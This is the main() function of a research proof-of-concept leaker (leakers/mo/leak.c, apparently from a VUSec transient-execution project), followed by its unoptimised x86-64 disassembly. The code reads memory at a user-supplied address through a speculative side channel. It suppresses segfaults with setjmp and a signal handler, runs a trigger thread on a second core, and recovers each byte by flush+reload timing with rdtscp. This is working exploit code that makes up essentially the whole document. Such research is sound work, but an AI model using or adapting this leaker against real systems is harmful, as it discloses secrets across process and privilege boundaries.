// File: /workspace/github_c_makefile_star2_O0/vusec[P]fpvi-scsb/leakers/mo/leak.c
// Function: main
int main(int argc, char **argv)
{
    uint64_t leak_addr;
    uint32_t leak_length;
    uint8_t *leak_ptr;
    pthread_t tid;

    if (argc > 2)
    {
        sscanf(argv[1], "0x%lx", &leak_addr);
        sscanf(argv[2], "%d", &leak_length);
        leak_ptr = (uint8_t *) leak_addr;
    }
    else
    {
        leak_ptr = "This is a test to verify that it leaks";
        leak_length = strlen(leak_ptr);
    }

    /* Setup */
    assert(signal(SIGSEGV, segfault_handler) != SIG_ERR);
    __attribute__((aligned(4096))) size_t results[LEAK_SIZE] = {0};
    unsigned char *reload_buf   = (unsigned char *) mmap(NULL, LEAK_SIZE*STRIDE, PROT_READ | PROT_WRITE,
            MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE | MAP_HUGETLB, -1, 0);
    assert(reload_buf != MAP_FAILED);
    set_cpu(EXECUTER_CORE);
    tid = create_thread(TRIGGER_CORE, mo_trigger_loop, NULL);
    usleep(2000);

    for(int i=0; i<leak_length; i++)
    {
        memset(results, 0, sizeof(results));

        for(int j=0; j<ITER; j++)
        {
            flush(reload_buf);
            if (!setjmp(buf))
            {
                mo_leak(reload_buf, leak_ptr+i);
            }
            reload(reload_buf, results);
        }

        printf("0x%016lx :\n", (uint64_t)(leak_ptr+i));
        print_results(results, ITER/10);
    }

    cancel_thread(tid);

    printf("Number of suppressed SIGSEGV: %d\n", sigsegvs);

    return 0;    
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
andq $-0x1000, %rsp          # imm = 0xF000
subq $0x2000, %rsp           # imm = 0x2000
movl $0x0, 0x1f84(%rsp)
movl %edi, 0x1f80(%rsp)
movq %rsi, 0x1f78(%rsp)
cmpl $0x2, 0x1f80(%rsp)
jle 0x4013fc
movq 0x1f78(%rsp), %rax
movq 0x8(%rax), %rdi
leaq 0xc5e(%rip), %rsi       # 0x402017
leaq 0x1f70(%rsp), %rdx
movb $0x0, %al
callq 0x401120
movq 0x1f78(%rsp), %rax
movq 0x10(%rax), %rdi
leaq 0xc42(%rip), %rsi       # 0x40201d
leaq 0x1f6c(%rsp), %rdx
movb $0x0, %al
callq 0x401120
movq 0x1f70(%rsp), %rax
movq %rax, 0x1f60(%rsp)
jmp 0x40141f
leaq 0xc1d(%rip), %rax       # 0x402020
movq %rax, 0x1f60(%rsp)
movq 0x1f60(%rsp), %rdi
callq 0x401060
movl %eax, 0x1f6c(%rsp)
movl $0xb, %edi
leaq 0x375(%rip), %rsi       # 0x4017a0
callq 0x4010e0
movq $-0x1, %rcx
cmpq %rcx, %rax
je 0x40143e
jmp 0x40145d
leaq 0xc02(%rip), %rdi       # 0x402047
leaq 0xc28(%rip), %rsi       # 0x402074
movl $0x49, %edx
leaq 0xc23(%rip), %rcx       # 0x40207b
callq 0x401090
leaq 0x1000(%rsp), %rdi
xorl %esi, %esi
movl $0x800, %edx            # imm = 0x800
callq 0x4010a0
xorl %eax, %eax
movl %eax, %r9d
movl $0x40000, %esi          # imm = 0x40000
movl $0x3, %edx
movl $0x48022, %ecx          # imm = 0x48022
movl $0xffffffff, %r8d       # imm = 0xFFFFFFFF
movq %r9, %rdi
callq 0x401070
movq %rax, 0xff8(%rsp)
movq $-0x1, %rax
cmpq %rax, 0xff8(%rsp)
je 0x4014ae
jmp 0x4014cd
leaq 0xbdd(%rip), %rdi       # 0x402092
leaq 0xbb8(%rip), %rsi       # 0x402074
movl $0x4d, %edx
leaq 0xbb3(%rip), %rcx       # 0x40207b
callq 0x401090
xorl %edi, %edi
callq 0x401b20
movl $0x1, %edi
leaq -0x190(%rip), %rsi      # 0x401350
xorl %eax, %eax
movl %eax, %edx
callq 0x401c40
movq %rax, 0x1f58(%rsp)
movl $0x7d0, %edi            # imm = 0x7D0
callq 0x4011a0
movl $0x0, 0xff4(%rsp)
movl 0xff4(%rsp), %eax
cmpl 0x1f6c(%rsp), %eax
jae 0x40176a
leaq 0x1000(%rsp), %rdi
xorl %esi, %esi
movl $0x800, %edx            # imm = 0x800
callq 0x4010a0
movl $0x0, 0xff0(%rsp)
cmpl $0x3e8, 0xff0(%rsp) # imm = 0x3E8
jge 0x401721
movq 0xff8(%rsp), %rax
movq %rax, 0x1f90(%rsp)
movq $0x0, 0x1f88(%rsp)
cmpq $0x100, 0x1f88(%rsp) # imm = 0x100
jae 0x4015a4
movq 0x1f90(%rsp), %rax
movq 0x1f88(%rsp), %rcx
shlq $0xa, %rcx
addq %rcx, %rax
clflush (%rax)
movq 0x1f88(%rsp), %rax
addq $0x1, %rax
movq %rax, 0x1f88(%rsp)
jmp 0x401566
mfence
leaq 0x2f72(%rip), %rdi      # 0x404520
callq 0x4010d0
cmpl $0x0, %eax
jne 0x4015d8
movq 0xff8(%rsp), %rdi
movq 0x1f60(%rsp), %rsi
movslq 0xff4(%rsp), %rax
addq %rax, %rsi
callq 0x401859
movq 0xff8(%rsp), %rcx
leaq 0x1000(%rsp), %rax
movq %rcx, 0x1fc8(%rsp)
movq %rax, 0x1fc0(%rsp)
mfence
movq $0x0, 0x1fb8(%rsp)
cmpq $0x100, 0x1fb8(%rsp) # imm = 0x100
jae 0x401709
imulq $0xa7, 0x1fb8(%rsp), %rax
addq $0xd, %rax
andq $0xff, %rax
movq %rax, 0x1fb0(%rsp)
movq 0x1fc8(%rsp), %rax
movq 0x1fb0(%rsp), %rcx
shlq $0xa, %rcx
addq %rcx, %rax
movq %rax, 0x1fa8(%rsp)
rdtscp
movq %rax, 0x1fe8(%rsp)
movq %rdx, 0x1fe0(%rsp)
movq 0x1fe0(%rsp), %rax
shlq $0x20, %rax
orq 0x1fe8(%rsp), %rax
movq %rax, 0x1fa0(%rsp)
movq 0x1fa8(%rsp), %rax
movb (%rax), %al
rdtscp
movq %rax, 0x1fd8(%rsp)
movq %rdx, 0x1fd0(%rsp)
movq 0x1fd0(%rsp), %rax
shlq $0x20, %rax
orq 0x1fd8(%rsp), %rax
subq 0x1fa0(%rsp), %rax
movq %rax, 0x1f98(%rsp)
cmpq $0xa0, 0x1f98(%rsp)
jae 0x4016f0
movq 0x1fc0(%rsp), %rax
movq 0x1fb0(%rsp), %rcx
movq (%rax,%rcx,8), %rdx
addq $0x1, %rdx
movq %rdx, (%rax,%rcx,8)
movq 0x1fb8(%rsp), %rax
addq $0x1, %rax
movq %rax, 0x1fb8(%rsp)
jmp 0x401607
jmp 0x40170b
movl 0xff0(%rsp), %eax
addl $0x1, %eax
movl %eax, 0xff0(%rsp)
jmp 0x401539
movq 0x1f60(%rsp), %rsi
movslq 0xff4(%rsp), %rax
addq %rax, %rsi
leaq 0x970(%rip), %rdi       # 0x4020ab
movb $0x0, %al
callq 0x401080
leaq 0x1000(%rsp), %rdi
movl $0x64, %esi
callq 0x4012a0
movl 0xff4(%rsp), %eax
addl $0x1, %eax
movl %eax, 0xff4(%rsp)
jmp 0x401506
movq 0x1f58(%rsp), %rdi
callq 0x401d50
movl 0x2e6b(%rip), %esi      # 0x4045e8
leaq 0x933(%rip), %rdi       # 0x4020b7
movb $0x0, %al
callq 0x401080
xorl %eax, %eax
movq %rbp, %rsp
popq %rbp
retq
nopw %cs:(%rax,%rax)